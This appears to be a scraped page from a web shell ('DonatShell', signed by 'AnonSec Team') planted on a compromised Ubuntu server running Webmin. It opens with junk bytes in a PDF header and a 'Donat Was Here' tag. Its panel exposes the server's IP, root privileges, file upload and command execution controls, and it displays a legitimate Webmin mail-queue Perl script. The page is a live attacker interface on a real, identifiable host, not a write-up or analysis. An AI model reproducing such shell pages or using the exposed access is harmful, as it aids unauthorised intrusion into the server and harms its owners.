%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/sendmail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/sendmail/del_mailq.cgi
#!/usr/bin/perl
# del_mailq.cgi
# Delete some mail message from the queue

require './sendmail-lib.pl';
require './boxes-lib.pl';
&ReadParse();

if ($in{'flush'}) {
	# Just go to flushing page
	&redirect("del_mailqs.cgi?flush=1&file=".&urlize($in{'file'}));
	exit;
	}

&error_setup($text{'delq_err'});
$access{'mailq'} == 2 || &error($text{'delq_ecannot'});
$in{'file'} =~ /\.\./ && &error($text{'delq_ecannot'});
$conf = &get_sendmailcf();
foreach $mqueue (&mailq_dir($conf)) {
	$ok++ if ($in{'file'} =~ /^$mqueue\//);
	}
$ok || &error($text{'mailq_ecannot'});

$qfile = $in{'file'};
$mail = &mail_from_queue($qfile, "auto");
&can_view_qfile($mail) || &error($text{'delq_ecannot'});

if (-r $mail->{'lfile'} && !$in{'force'}) {
	&ui_print_header(undef, $text{'delq_title'}, "");
	print "<center><form action=del_mailq.cgi>\n";
	print "<b>$main::whatfailed : $text{'delq_locked'}</b><p>\n";
	print "<input type=hidden name=file value='$in{'file'}'>\n";
	print "<input type=submit name=force value='$text{'delq_force'}'>\n";
	print "</form></center>\n";
	&ui_print_footer("list_mailq.cgi", $text{'mailq_return'});
	exit;
	}

unlink($mail->{'file'}, $mail->{'dfile'}, $mail->{'lfile'});
&webmin_log("delmailq", undef, undef, { 'to' => $mail->{'header'}->{'to'},
					'from' => $mail->{'header'}->{'from'} });
&redirect("list_mailq.cgi");


Anon7 - 2022
AnonSec Team